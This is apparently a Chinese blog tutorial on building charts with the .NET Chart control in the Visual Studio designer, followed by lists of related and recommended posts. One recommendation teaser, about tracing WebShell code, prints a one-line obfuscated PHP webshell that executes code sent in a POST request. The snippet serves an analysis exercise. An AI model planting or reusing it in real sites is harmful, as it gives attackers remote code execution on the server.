在.NET环境下微软提供了强大了图表控件,并给多了很多实例,关于图表的基本元素如下:

并且MSDN给出了创建图表的示例步骤,原文地址:http://msdn.microsoft.com/en-us/library/dd489237.aspx

在这里,我仅作为自己理解的,并实践的,以中文方式写出步骤,未免出错,还请参照MSDN。
添加一个图表控件到应用程序: 

1,在设计视图下,打开“工具箱 ”;

2,在“Data ”分类下,拖动一个图表控件到设计区域;

3,在其属性中展开“ChartAreas ”子属性,弹出的“ChartAreas 集合编辑器 ”中,这里包含了当前图表控件的所有图表区,并且注意此时此集合器已经包含了一个图表区,名称为"ChartArea1 ";

4,点击“添加 ”,新增一个图表区,请注意,在设计区域的图表缩小到原来的一半大小。这是因为新创建的图表区是放置在底部,但不包含一个数据系列;

5,在图表控件的“Series ”子属性,展开弹出“Series 集合编辑器 ”,注意这里已经包含了一个序列,名称为”Series1 “;

6,点击”添加 “,新增一个序列,在其右边设置其属性,“ChartArea ”属性为ChartArea2 ,“ChartType ”属性为Bar ,“Name ”属性为BarChart ,点击“确定 ”完成。此时运行程序未出现任何结果,因为还没有数据;

添加数据到图表: 

1,打开“Series 集合编辑器 ”,在左边的”成员“中选择”Series1 “,在右边的属性区域点击展开”Points “,弹出”DataPoint 集合编辑器 “;

2,点击”添加 “,在其右边属性的”YValues “属性中输入值,重复这一步知道添加了5个数据点;

3,点击”确定 “,然后对”BarChart “序列进行与第2步一样的操作;

4,”确定 “完成,运行程序可以在图表控件上看到两个图表区,显示着刚刚创建的两个序列的数据点。请注意这两个序列的不同图表类型。

添加图例到图表: 

1,在图表控件属性中,点击”Legends “,展开”Legend 集合编辑器 “,如果没有已存在的一个图例,那么就添加一个;

2,设置这个图例属性,其中”DockedToChartArea “值为”ChartArea1 “,”Docking “值为”Right “,”IsDockedInsideChartArea“值为”False “;

3,再添加一个图例,设置属性其中”DockedToChartArea “值为”ChartArea2 “,”Docking “值为”Right “;

4,点击”确定 “完成。此时图表区域的第二个图例显示为空。默认所有的序列都分配到第一个图例,你也可以分配每个序列到不同的图例;

5,打开”Series 集合编辑器 ”,选择“BarChart ”项,在其“Legend ”属性中下拉列表选择“Legend2 ”,完成运行程序。

添加标题到图表: 

1,在图表控件属性中,点击“Titles ”,展开“Title 集合编辑器 ”,点击“添加 ”,在右边的属性“Text ”中输入图表的标题;

2,点击“确定 ”,运行程序看效果。

使用注解标记图表上的数据点: 

1,在图表控件属性中,点击“Annotations ”,展开“Annotation 集合编辑器 ”;

2,点击“添加 ”的下拉列表,选择“ArrowAnnotation ”,如图:
 

3,在右边的属性“定位点 ”分类下,下列选择“AnchorDataPoint ”值为第一个序列的第一个数据点;

4,其具体属性“Height ”值为-5,“Width ”值为0,“AnchorOffSetY ”值为-2.5;

5,在其属性“杂项 ”展开“SmartLabelStyle ”子属性,设置“IsOverlappedHidden ”为”False“;

6,点击”确定 “,运行程序。

程序效果如图:

C#创建基本图表(Chart Controls)的更多相关文章

  1. (原创)用Microsoft Chart Controls(MSChart)实现曲线图,并支持拖动放大到秒

    Microsoft Chart Controls(简称MSChart)控件,给图形统计和报表图形显示提供了很好的解决办法,同时支持Web和WinForm两种方式. MSChart 在.NET 4.0自 ...

  2. 用Microsoft Chart Controls(MSChart)实现曲线图,并支持拖动放大到秒

    Microsoft Chart Controls(简称MSChart)控件,给图形统计和报表图形显示提供了很好的解决办法,同时支持Web和WinForm两种方式. MSChart 在.NET 4.0自 ...

  3. [C#] 老古董的 Microsoft Chart Controls 也可以进行数据预测

    我要先声明,这篇文章介绍到的内容虽说不是不能用,但玩乐成分居多,大家看看就好,不要太认真. 1. Microsoft Chart Controls 中的 FinancialFormula 在上一篇文章 ...

  4. K8s helm 创建自定义Chart

    # 删除之前创建的 chart helm list helm delete --purge redis1 # 创建自定义 chart myapp cd ~/helm helm create myapp ...

  5. Chart Controls 简介与下载

    虽然博客园已有人介绍过了,还是忍不住介绍一下微软这套免费又功能强大的图表控件「Microsoft Chart Controls for Microsoft .NET Framework 3.5」.本帖 ...

  6. Kubernetes 学习25 创建自定义chart及部署efk日志系统

    一.概述 1.我们说过在helm架构中有这么几个关键组件,helm,tiller server,一般托管运行于k8s之上,helm能够通过tiller server在目标k8s集群之上部署应用程序,而 ...

  7. .net chart(图表)控件的使用-System.Windows.Forms.DataVisualization.dll

    这个案例指在介绍微软这套免费又功能强大的图表控件Microsoft Chart Controls for Microsoft .NET Framework 3.5,通过它,可让您的项目及报表,轻松套用 ...

  8. C# Chart控件教程

    一.什么是Micosoft.Chart.Controls Micosoft.Chart.Controls是微软自带的一个图形可视化的组件,可以在Web程序和窗体程序中(Windowsform)中使用. ...

  9. 【译】用 React 和 D3 创建图表

    本文翻译自:https://dzone.com/articles/charts-with-modern-react-and-d3 本文将介绍如何利用 D3JS 和 ReactJS 来创建基础图表. R ...

随机推荐

  1. .NetCore实践爬虫系统(二)自定义规则

    回顾 上篇文章NetCore实践爬虫系统(一)解析网页内容 我们讲了利用HtmlAgilityPack,输入XPath路径,识别网页节点,获取我们需要的内容.评论中也得到了大家的一些支持与建议.下面继 ...

  2. 记一次Java加密加签算法到php的坑

    此文为本人原创首发于 http://www.35coder.com/convert_encryption_codes_to_php/. 写代码的经历中,总少不了与外部的程序对接,一旦有这样的事,往往周 ...

  3. python数据图形化—— matplotlib 基础应用

    matplotlib是python中常用的数据图形化工具,用法跟matlab有点相似.调用简单,功能强大.在Windows下可以通过命令行 pip install matplotlib 来进行安装. ...

  4. 开源微信Http协议Sdk【实现登录/获取好友列表/修改备注/发送消息】

    基于微信Http协议封装的一个Sdk,目前实现了以下功能:. 1:扫码登录(检测二维码扫描状态) 2:获取最近联系人.群组.所有联系人 3:修改好友备注 4:给好友发送消息 暂且这么多,也没多余的时间 ...

  5. swift学习:第一个swift ui程序

    最近swift有点火,赶紧跟上学习.于是,个人第一个swift程序诞生了... 新建项目

  6. OpenGL学习(2)——绘制三角形

    在创建窗口的基础上,添加代码实现三角形的绘制. 声明和定义变量 在屏幕上绘制一个三角形需要的变量有: 三角形的三个顶点坐标: Vertex Buffer Object 将顶点数据存储在GPU的内存中: ...

  7. 部署jar项目常用命令

      netstat -tunlp | grep  ××   查询出端口为××在运行应用的线程ip   kill -9  ××     关闭线程ip 为 ××的应用   rm  -f  ××.jar  ...

  8. WebShell代码分析溯源(第1题)

    <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php ...

  9. 《Linux内核--分析Linux内核创建一个新进程的过程 》 20135311傅冬菁

    20135311傅冬菁 分析Linux内核创建一个新进程的过程 一.学习内容 进程控制块——PCB  task_struct数据结构 PCB task_struct中包含: 进程状态.进程打开的文件. ...

  10. 记初学net-SNMP

    自从弄完那个jsp的网盘(其实还是个烂摊子),这几天一直在研究snmp. 有需求就激发动力,对,人都是被逼出来的.五一这几天,天天搁这坐着,毫无头绪. 下面切入正题. 要做一个监控园区网在线数的平台, ...